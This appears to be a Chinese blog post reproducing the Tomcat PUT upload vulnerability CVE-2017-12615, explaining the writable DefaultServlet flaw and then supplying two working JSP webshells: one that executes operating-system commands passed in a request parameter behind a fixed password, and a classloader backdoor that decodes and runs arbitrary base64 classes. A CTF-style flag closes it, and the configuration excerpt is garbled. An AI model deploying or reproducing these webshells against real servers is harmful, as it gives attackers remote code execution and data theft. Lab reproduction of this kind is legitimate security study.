• 一、【漏洞复现系列】Tomcat文件上传 (CVE-2017-12615)


    1.1、漏洞原理

    描述: Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。 Tomcat 的 Servlet 是在 conf/web.xml 配置的,通过配置文件可知,当后缀名为 .jsp 和 .jspx 的时候,是通过 JspServlet 处理请求的: 而其他的静态文件是通过 DefaultServlet 处理的: 可以得知,“1.jsp ”(末尾有一个空格)并不能匹配到 JspServlet,而是会交由 DefaultServlet 去处理。当处理 PUT 请求时: 会调用 resources.bind: dirContext 为 FileDirContext: 调用 rebind 创建文件: 又由于Windows 不允许“ ”作为文件名结尾,所以会创建一个 .jsp 文件,导致代码执行。

    漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:

    
    
        defaultservlet-name>
    
        org.apache.catalina.servlets.DefaultServletservlet-class>
    
        
    
            debugparam-name>
    
            0param-value>
    
        init-param>
    
        
    
            listingsparam-name>
    
            falseparam-value>
    
        init-param>
    
        
    
            readonlyparam-name>
    
            falseparam-value>
    
        init-param>
    
        1load-on-startup>
    
    servlet>

    1.2、影响范围(不重要,去试就行)

    Apache Tomcat 7.0.0 - 8.0.81 

    1.3、 漏洞指纹

    tomcat

    8009

    ajp

    \x04\x01\xf4\x00\x15

    1.4、漏洞复现

    如下是回显jsp马

    <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
    ");while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("
    "); } %>

    如下是连接的jsp一句话木马,,密码是passwd

    <%!
        class U extends ClassLoader {
            U(ClassLoader c) {
                super(c);
            }
            public Class g(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
     
        public byte[] base64Decode(String str) throws Exception {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (Exception e) {
                Class clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        }
    %>
    <%
        String cls = request.getParameter("passwd");
        if (cls != null) {
            new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
        }
    %>

    flag-{bmhbf13076b-9643-4a67-a3c1-550825a9f6ba}

  • 相关阅读:
    银河麒麟桌面操作系统 V10 SP1下Qt应用程序开发环境配置
    Mac OS 使用Metal渲染NV12、YUV420、CMSampleBufferRef视频
    一条 sql 语句可能导致的表锁和行锁以及死锁检测
    fire-voc 火光 烟火 火灾 目标检测数据集
    Lombok @Accessors(chain = true) 导致 FastJson parsObject()对父类属性失效
    11.4商业伦理(全)
    跨语言深入探讨如何实现方法增强:Java & Go的多策略实现
    Oracle-控制文件及日志文件的管理
    美摄AIGC创新引擎,助力企业快速搭建AIGC能力(一)
    金融行业多活架构设计及容灾发展趋势
  • 原文地址:https://blog.csdn.net/weixin_52351575/article/details/133084239